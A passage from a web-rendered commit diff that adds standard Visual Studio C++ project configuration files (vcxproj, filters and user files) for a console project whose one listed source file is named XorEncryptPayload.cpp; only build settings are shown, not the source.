<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="XorEncryptPayload.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="XorEncryptPayload.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
Reference in New Issue
Block a user